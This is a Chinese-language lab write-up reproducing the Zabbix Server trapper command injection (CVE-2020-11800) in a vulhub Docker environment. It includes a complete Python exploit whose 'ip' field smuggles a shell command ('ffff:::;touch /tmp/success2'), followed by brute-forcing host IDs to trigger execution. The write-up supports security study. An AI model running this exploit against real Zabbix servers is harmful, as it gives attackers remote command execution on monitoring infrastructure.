漏洞复现之Zabbix Server Trapper命令注入漏洞（CVE-2020-11800）

漏洞描述

Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client 架构。在[CVE-2017-2824][1]中，其Server端 trapper command 功能存在一处代码执行漏洞，而修复补丁并不完善，导致可以利用IPv6进行绕过，注入任意命令。

安全等级

高

影响版本

Zabbix 3.0.x~3.0.30

修复建议

及时更新至最新版

环境搭建

使用vulhub中的漏洞环境进行测试

cd ./vulhub/zabbix/CVE-2017-2824
docker-compose up -d
docker ps

测试示例

示例一

启动完漏洞环境后，还需要进行一些设置 访问zabbix界面，使用默认账号登录admin/zabbix

在configuration下的actions处，在event source选择auto registration，最后create action

创建actions后，在action处设置name

在operations处点击new，选择add host 然后点击add，最后点击蓝色的add即可创建完成，打开了自动注册功能

然后使用漏洞环境下的exp进行漏洞利用

python3 exploit.py 192.168.74.128

exp如下：

import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

成功后的显示如下

进行验证，进入到docker镜像中，在tmp目录下创建了success2文件

docker exec -it c9be558049fc /bin/bash

验证过程中可能出现exp打失败的情况，多次实验后发现，开启自动注册功能后，再启动一遍docker镜像（不需要停止原先的镜像），启动后再重复一遍自动注册的设置后，再打一遍exp就可以了

注：以上内容为实验环境，只做为漏洞案例学习，切勿用于其他用途。